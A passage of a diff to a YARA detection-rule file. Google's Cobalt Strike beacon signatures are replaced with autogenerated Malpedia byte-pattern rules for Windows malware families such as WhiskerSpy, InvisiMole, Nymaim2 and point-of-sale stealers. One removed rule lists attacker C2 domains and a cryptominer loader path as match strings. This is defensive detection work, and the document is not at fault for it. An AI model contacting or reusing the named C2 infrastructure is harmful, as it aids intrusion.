+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "7815c923-a900-5d01-9a5b-05c1d0e30118"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tinytyphon_auto.yar#L1-L120"
+		license_url = "N/A"
+		logic_hash = "e057b3aaf1408e310c88894f8b7bb86876f0ba7268b4daf2dcf5c0bb823f13c5"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F2 83 F8 3C 0F 87 89 02 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+		$sequence_0 = { c745b430144000 c745b834144000 c745bc38144000 c745c03c144000 c745c440144000 }
+		$sequence_1 = { 50 8b0d???????? 51 e8???????? 83c420 8b955cffffff 52 }
+		$sequence_2 = { 68???????? 8d85e8feffff 50 ff15???????? 8d8dccfdffff 51 }
+		$sequence_3 = { 034df4 034df0 894dd4 8b5508 }
+		$sequence_4 = { 034df8 0fbe11 85d2 0f84fe010000 8b4508 0345f8 }
+		$sequence_5 = { 0345c0 8a08 880a ebdf 8d55d8 52 }
+		$sequence_6 = { eba9 68a01f0000 ff15???????? 6a0f 8d8df0feffff 51 }
+		$sequence_7 = { 034a58 8b45f8 8d8c0878a46ad7 894df8 8b55f8 c1e207 8b45f8 }
+		$sequence_8 = { 83bde4feffffff 750a c785e4feffff00000000 83bde4feffff00 7505 }
+		$sequence_9 = { 52 8d85f0feffff 50 8d8dd0fdffff }
 
 	condition:
-		all of them
+		7 of them and filesize <90112
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_1
+rule MALPEDIA_Win_Whiskerspy_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.1"
-		author = "gssincla@google.com"
-		id = "aa511dee-69ea-53bd-be90-d2d03d08c550"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L406-L461"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "4de723e784ef4e1633bbbd65e7665adcfb03dd75505b2f17d358d5a40b7f35cf"
-		logic_hash = "2d91add3aefe69b4525f93f7ea9f2fcbd7a6c506a224997ff73a2eeef63a8cd4"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "ad364f6a-593c-546a-abca-058cacdb86c1"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiskerspy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.whiskerspy_auto.yar#L1-L150"
+		license_url = "N/A"
+		logic_hash = "5c2084905c4059cab930cb01fc75781ec2a6ce873c993665138e09c62922860b"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 }
-		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+		$sequence_0 = { 8b06 8bcf d3e8 a801 }
+		$sequence_1 = { 488bcf c645e57d c645e67d c645e77d c645e87d }
+		$sequence_2 = { 458bc6 488d95c0020000 488d8d80010000 ff15???????? 488d4c2460 ff15???????? }
+		$sequence_3 = { 5d c3 418bca 48899c2440020000 }
+		$sequence_4 = { 33c0 e9???????? c685c0020000c8 c685c1020000d3 }
+		$sequence_5 = { e8???????? 0f2805???????? 4c8d45b0 0f280d???????? 488d55f0 }
+		$sequence_6 = { 8bf9 488d1507c10000 b903000000 4c8d05f3c00000 e8???????? }
+		$sequence_7 = { 85c0 7428 817c245000040000 74b4 eb1c }
+		$sequence_8 = { 0fbec1 83e820 83e07f 8b04c5d43f4300 }
+		$sequence_9 = { 33c5 8945fc 53 8bd9 899540ffffff 8b4d0c }
+		$sequence_10 = { f30f38f6f8 897de4 b800000000 8b7de8 660f38f6f9 }
+		$sequence_11 = { 8b45ec 3bc6 7c3a 7f04 }
+		$sequence_12 = { 6af6 ff15???????? 8b04bd403d4400 834c0318ff 33c0 }
+		$sequence_13 = { 75f8 8bfe 8bca 8bb588feffff }
+		$sequence_14 = { a3???????? 8bcf e8???????? 8325????????00 8325????????00 }
 
 	condition:
-		all of them
+		7 of them and filesize <591872
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_2
+rule MALPEDIA_Win_Clipog_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.2"
-		author = "gssincla@google.com"
-		id = "3ccbc0f2-241c-5c10-8930-4a3d264d3b57"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L463-L528"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "b490eeb95d150530b8e155da5d7ef778543836a03cb5c27767f1ae4265449a8d"
-		logic_hash = "e1fe0d58d86ad8c845d65608314007ce08e3e524fb92cdb33ddae860c640e3e9"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "46aafcb1-e1b8-5042-a65a-96aaea69b545"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clipog"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.clipog_auto.yar#L1-L123"
+		license_url = "N/A"
+		logic_hash = "d53a5689475b1eada9174cbb0eba62d34ac88574fbde919bc04ba3774f961a03"
 		score = 75
-		quality = 85
-		tags = ""
-		rs2 = "a93647c373f16d61c38ba6382901f468247f12ba8cbe56663abb2a11ff2a5144"
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F2 83 F8 3D 0F 87 83 02 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
-		$version3_1_sig = { 55 8B EC 83 EC 58 A1 [4] 33 C5 89 45 FC E8 DF F5 FF FF 6A 50 8D 45 A8 50 FF 15 [4] 8D 45 ?? 50 FF 15 [4] 85 C0 74 14 8B 40 0C 83 38 00 74 0C 8B 00 FF 30 FF 15 [4] EB 05 B8 [4] 8B 4D FC 33 CD E8 82 B7 00 00 C9 }
+		$sequence_0 = { c744242880000000 c744242004000000 4533c9 418d5104 458d4101 ff15???????? 48898710180000 }
+		$sequence_1 = { 4c8bea 4b8b8cf7907c0200 4c8b15???????? 4883cfff 418bc2 498bd2 4833d1 }
+		$sequence_2 = { 83c7f8 81ffd6000000 0f87eb030000 488d1531c5ffff 0fb6843a24410000 8b8c824c400000 4803ca }
+		$sequence_3 = { 48895808 48896810 48897018 48897820 4156 33ed 4c8d352e910000 }
+		$sequence_4 = { 4c8d0d13210100 8bf9 488d150a210100 b907000000 4c8d05f6200100 e8???????? }
+		$sequence_5 = { eb7a 488d0dd0140200 e8???????? 85c0 0f94c0 eb67 }
+		$sequence_6 = { 488d15b6e80100 e9???????? 488d15bae80100 e9???????? }
+		$sequence_7 = { 488d1585ee0000 488d0d76ee0000 e8???????? 0fb605???????? }
+		$sequence_8 = { e9???????? 4c8d256b4e0100 8bee 498bc4 41bf01000000 }
+		$sequence_9 = { f20f1000 8b7808 e9???????? 488d05ae920100 4a8b0ce8 42f644313880 }
 
 	condition:
-		$version_sig and $decoder and not $version3_1_sig
+		7 of them and filesize <372736
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_3
+rule MALPEDIA_Win_Unidentified_095_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.3"
-		author = "gssincla@google.com"
-		id = "7cce26c9-1403-535f-bd9d-19667c7e313c"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L530-L560"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "158dba14099f847816e2fc22f254c60e09ac999b6c6e2ba6f90c6dd6d937bc42"
-		logic_hash = "f9b9b669aacc156a4e07eab0c6a638f9b9d828e018d1db89e9e2c922641744ac"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "37abc0ea-ddce-59f3-9ad7-8e440d8ff0bb"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_095"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_095_auto.yar#L1-L122"
+		license_url = "N/A"
+		logic_hash = "2ccf7caa3b3d5540a5f23128f7d00405bc7a6134a0c6b4f4e250221b4826e780"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F1 83 F8 41 0F 87 F0 02 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 10 06 00 00 72 F1 }
+		$sequence_0 = { ffc8 6641833c465c 7505 6641892c46 4c8bbc24e8000000 }
+		$sequence_1 = { 85c0 7553 488bcf ff15???????? 488d4c2430 }
+		$sequence_2 = { 488bd0 48d3ca 4933d0 4b8794fe90440200 eb2d }
+		$sequence_3 = { 48c7c102000080 897c2420 ff15???????? 85c0 740c 8bc8 ff15???????? }
+		$sequence_4 = { 488d1519de0000 488d0df2dd0000 e8???????? 488d1516de0000 488d0d07de0000 e8???????? 488b4308 }
+		$sequence_5 = { 4881c490000000 5d c3 4053 4883ec20 488bd9 }
+		$sequence_6 = { 660f28c1 4c8d0dfb9e0000 f20f101d???????? f20f100d???????? f20f59da }
+		$sequence_7 = { 85c0 0f8502010000 837c243c04 7516 }
+		$sequence_8 = { eb19 488d3d3a440100 eb10 488d3d41440100 eb07 488d3d20440100 4883a4248000000000 }
+		$sequence_9 = { 75ed 488bcb 85d2 7507 e8???????? eb08 498bd1 }
 
 	condition:
-		all of them
+		7 of them and filesize <339968
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_4
+rule MALPEDIA_Win_Multigrain_Pos_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.4"
-		author = "gssincla@google.com"
-		id = "58a34ab6-c061-59a2-b929-8519d3d844e7"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L562-L592"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "5c40bfa04a957d68a095dd33431df883e3a075f5b7dea3e0be9834ce6d92daa3"
-		logic_hash = "f3372bc538092e30c62d9599f76f2115dc73faf7a5fd6f86c8d4cfaa35473810"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "a0867608-6152-525b-bb1e-ffd07d70fa86"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.multigrain_pos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.multigrain_pos_auto.yar#L1-L120"
+		license_url = "N/A"
+		logic_hash = "e5b2ff30a169eba30bec1ec0cb7a796ca39923255067b4e9a8563c5dcf8b4ca3"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F1 83 F8 42 0F 87 F0 02 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { c745fc00000000 8b7518 b8cdcccccc 8d0cf504000000 }
+		$sequence_1 = { 57 e8???????? 83c404 6a00 c746140f000000 }
+		$sequence_2 = { c645fc01 e8???????? 83c408 83bdb4fdffff08 720e ffb5a0fdffff }
+		$sequence_3 = { 0f8530020000 68c8000000 50 8d85c4feffff 50 e8???????? 83c40c }
+		$sequence_4 = { 0fb64c1e01 c1e905 894df4 eb07 c745f400000000 0fb60c1e 8b55f8 }
+		$sequence_5 = { 8bd0 8d4dd8 c645fc03 e8???????? }
+		$sequence_6 = { c745e0ffffffff c745e800000000 c745e400000000 c745ec01000000 c745f401000000 }
+		$sequence_7 = { e8???????? 83c404 56 ffd3 33db 395f10 56 }
+		$sequence_8 = { 81eca8040000 a1???????? 33c4 898424a4040000 56 57 }
+		$sequence_9 = { c745f400000000 8b4df0 8b5df8 0fb609 83e101 }
 
 	condition:
-		all of them
+		7 of them and filesize <286720
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_5_Hf1_And_3_5_1
+rule MALPEDIA_Win_Invisimole_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.5-hf1 and 3.5.1 (3.5.x)"
-		author = "gssincla@google.com"
-		id = "1532596e-be0e-58c2-8d3b-5120c793d677"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L594-L625"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "c78e70cd74f4acda7d1d0bd85854ccacec79983565425e98c16a9871f1950525"
-		logic_hash = "c2e975678815638803b04261d46bca216bc0b2f894a1f72fd0d5b949493401d1"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "ca18c738-4139-5525-aa28-1ccc54f29c64"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.invisimole"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.invisimole_auto.yar#L1-L131"
+		license_url = "N/A"
+		logic_hash = "c66d253d3c18c58309d81357b0c6a50ba445964c209a2fd7bab05aae7420f29c"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F1 83 F8 43 0F 87 07 03 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 668945f0 8d863e020000 50 ffd7 33c9 668945f2 8d45f8 }
+		$sequence_1 = { 8d5590 52 50 e8???????? 83c40c 83f8ff 0f848df1ffff }
+		$sequence_2 = { 0fb65714 83c448 6a01 8d45ff 50 56 8855ff }
+		$sequence_3 = { 6a01 8d45ff 50 56 c645ff33 }
+		$sequence_4 = { 8bec 83ec4c 53 56 8bf0 57 8d45b4 }
+		$sequence_5 = { 47 83ff09 72d5 8b0d???????? 56 6a00 51 }
+		$sequence_6 = { 57 6860040000 33db 53 56 e8???????? a1???????? }
+		$sequence_7 = { 8b45fc 50 a1???????? 6a00 50 ffd7 8b4308 }
+		$sequence_8 = { 8b45f4 8a5dfb 50 ff15???????? 8ac3 5f }
+		$sequence_9 = { 53 e8???????? 8b75df 81fee6010000 0f8335050000 8a8746020000 0a4710 }
 
 	condition:
-		all of them
+		7 of them and filesize <139264
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_6
+rule MALPEDIA_Win_Get2_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.6"
-		author = "gssincla@google.com"
-		id = "7e7b5c22-82b3-5298-b794-b06d94a668d5"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L627-L657"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "495a744d0a0b5f08479c53739d08bfbd1f3b9818d8a9cbc75e71fcda6c30207d"
-		logic_hash = "3bd3f0b8625e131726fa92d68de041dae6c3d5642cbf22ac596d1d82da1d4a07"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "f91c1425-fc52-545b-9271-7db19be38856"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.get2"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.get2_auto.yar#L1-L170"
+		license_url = "N/A"
+		logic_hash = "5e9d36a39aed19f2ddf758df0012d6d0406c361deba19029a1cb530866b49568"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F9 83 F8 47 0F 87 2F 03 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 8b4004 f644080c06 74d5 8d4d84 e8???????? 8d4584 c645fc03 }
+		$sequence_1 = { 0f859a000000 f6c104 7430 8d4c2404 e8???????? }
+		$sequence_2 = { e8???????? ff7510 8d4dc0 ff750c e8???????? 83c420 83781410 }
+		$sequence_3 = { 57 53 8d4dd8 e8???????? 8bc6 e8???????? c3 }
+		$sequence_4 = { 33c0 895dd4 668945d8 51 51 52 }
+		$sequence_5 = { 8d44240c 68???????? 50 eb69 f6c102 8d4c2404 742b }
+		$sequence_6 = { 8b4910 23c8 0f849e000000 807d0c00 }
+		$sequence_7 = { 897e08 33db c745ec07000000 43 897de8 }
+		$sequence_8 = { 0f95c3 8bc3 488b5c2450 488b4c2448 }
+		$sequence_9 = { 4533f6 4863df 488d0dbc730200 488bc3 83e33f }
+		$sequence_10 = { 4885ff 75eb 33c0 48894110 }
+		$sequence_11 = { 488bc8 0fb7045e 663901 740f 48ffc3 493bde }
+		$sequence_12 = { 663931 7451 488d1590280100 e8???????? 85c0 7441 }
+		$sequence_13 = { 7203 488b00 668938 488d8b40010000 }
+		$sequence_14 = { 85c0 750d ff15???????? 41898660010000 4032ff }
+		$sequence_15 = { 488b4708 4a8b4cf008 488b4618 4c3b24c8 0f85d0fbffff 488b4648 }
 
 	condition:
-		all of them
+		7 of them and filesize <720896
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_7
+rule MALPEDIA_Win_Vigilant_Cleaner_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.7"
-		author = "gssincla@google.com"
-		id = "6352a31c-34b8-5886-8e34-ef9221c22e6e"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L659-L689"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "f18029e6b12158fb3993f4951dab2dc6e645bb805ae515d205a53a1ef41ca9b2"
-		logic_hash = "6ceb2cec8402a4679bad42d367156c74e897af4188442fdebc70d6ce2dd78bd6"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "a55582e3-616b-5a05-b673-fe9235d58867"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vigilant_cleaner"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vigilant_cleaner_auto.yar#L1-L118"
+		license_url = "N/A"
+		logic_hash = "c5f2d2527d22c9ed364af085c79f4bf3cbb7661e8edd11d29a8f6f3321af29a9"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F9 83 F8 49 0F 87 47 03 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
+		$sequence_0 = { 53 b868584d56 bb00000000 b90a000000 ba58560000 ed 5b }
+		$sequence_1 = { ed 5b 59 5a }
+		$sequence_2 = { b90a000000 ba58560000 ed 5b }
+		$sequence_3 = { b90a000000 ba58560000 ed 5b 59 5a }
+		$sequence_4 = { bb00000000 b90a000000 ba58560000 ed 5b }
+		$sequence_5 = { bb00000000 b90a000000 ba58560000 ed 5b 59 }
+		$sequence_6 = { b90a000000 ba58560000 ed 5b 59 }
+		$sequence_7 = { bb00000000 b90a000000 ba58560000 ed 5b 59 5a }
+		$sequence_8 = { b868584d56 bb00000000 b90a000000 ba58560000 ed 5b }
+		$sequence_9 = { ba58560000 ed 5b 59 }
 
 	condition:
-		all of them
+		7 of them and filesize <1181696
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_8
+rule MALPEDIA_Win_Nymaim2_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.8"
-		author = "gssincla@google.com"
-		id = "f76712a4-df1c-5e6b-b5ac-9c74f2e202fc"
-		date = "2022-11-18"
-		modified = "2023-12-04"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Beacon_Dll_All_Versions_MemEnabled.yara#L691-L731"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "67b6557f614af118a4c409c992c0d9a0cc800025f77861ecf1f3bbc7c293d603"
-		logic_hash = "a0c78dd7cda055bc76a8661b0416a302d7b05d03eeea483d2d1695093cd6dc90"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "cd5e7949-7b9c-5324-8001-074a99f4915b"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim2"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nymaim2_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "37921c250fe69562f60d707b47002bf6c0dd5723b18e1c13d6bd87f6fbea9446"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$version_sig = { 48 57 8B F9 83 F8 4B 0F 87 5D 03 00 00 FF 24 }
-		$decoder = { 80 B0 [4] ?? 40 3D 00 10 00 00 7C F1 }
-		$xmrig_srcpath = "C:/Users/SKOL-NOTE/Desktop/Loader/script.go"
-		$c2_1 = "ns7.softline.top" xor
-		$c2_2 = "ns8.softline.top" xor
-		$c2_3 = "ns9.softline.top" xor
+		$sequence_0 = { e8???????? 8d4de4 c645fc45 e8???????? 8d4de0 c645fc05 e8???????? }
+		$sequence_1 = { e8???????? 83ec20 56 33f6 3935???????? 7546 68da010000 }
+		$sequence_2 = { 50 8d45f0 50 e8???????? e8???????? 834dfcff 8d4df0 }
+		$sequence_3 = { e8???????? 8b7510 59 59 8b16 50 8bce }
+		$sequence_4 = { c645fc46 e8???????? 8d4de4 c645fc1b e8???????? 8d4ddc e8???????? }
+		$sequence_5 = { 8d45d4 8bce 50 c645fc01 e8???????? 8d45c0 8d4dd4 }
+		$sequence_6 = { 56 8bcf c645fc09 ff5008 51 8d4604 8bcc }
+		$sequence_7 = { 8d4df0 e9???????? 8d4dc0 e9???????? 8d4dec e9???????? 8b45e8 }
+		$sequence_8 = { 8d86640c0000 8bd9 03c9 c1eb1f 0bd9 c746040e000000 33da }
+		$sequence_9 = { 8bc8 c645fc03 e8???????? 51 8bcc 8965ec 50 }
 
 	condition:
-		$version_sig and $decoder and not (2 of ($c2_*) or $xmrig_srcpath)
+		7 of them and filesize <753664
 }
-rule GCTI_Cobaltstrike_Resources_Beacon_Dll_V3_11
+rule MALPEDIA_Win_Abaddon_Pos_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/beacon.dll Versions 3.11"
-		author = "gssincla@google.com"
-		id = "00e42396-db81-5d43-90ee-5a97b379019e"
-		date = "2022-11-18"
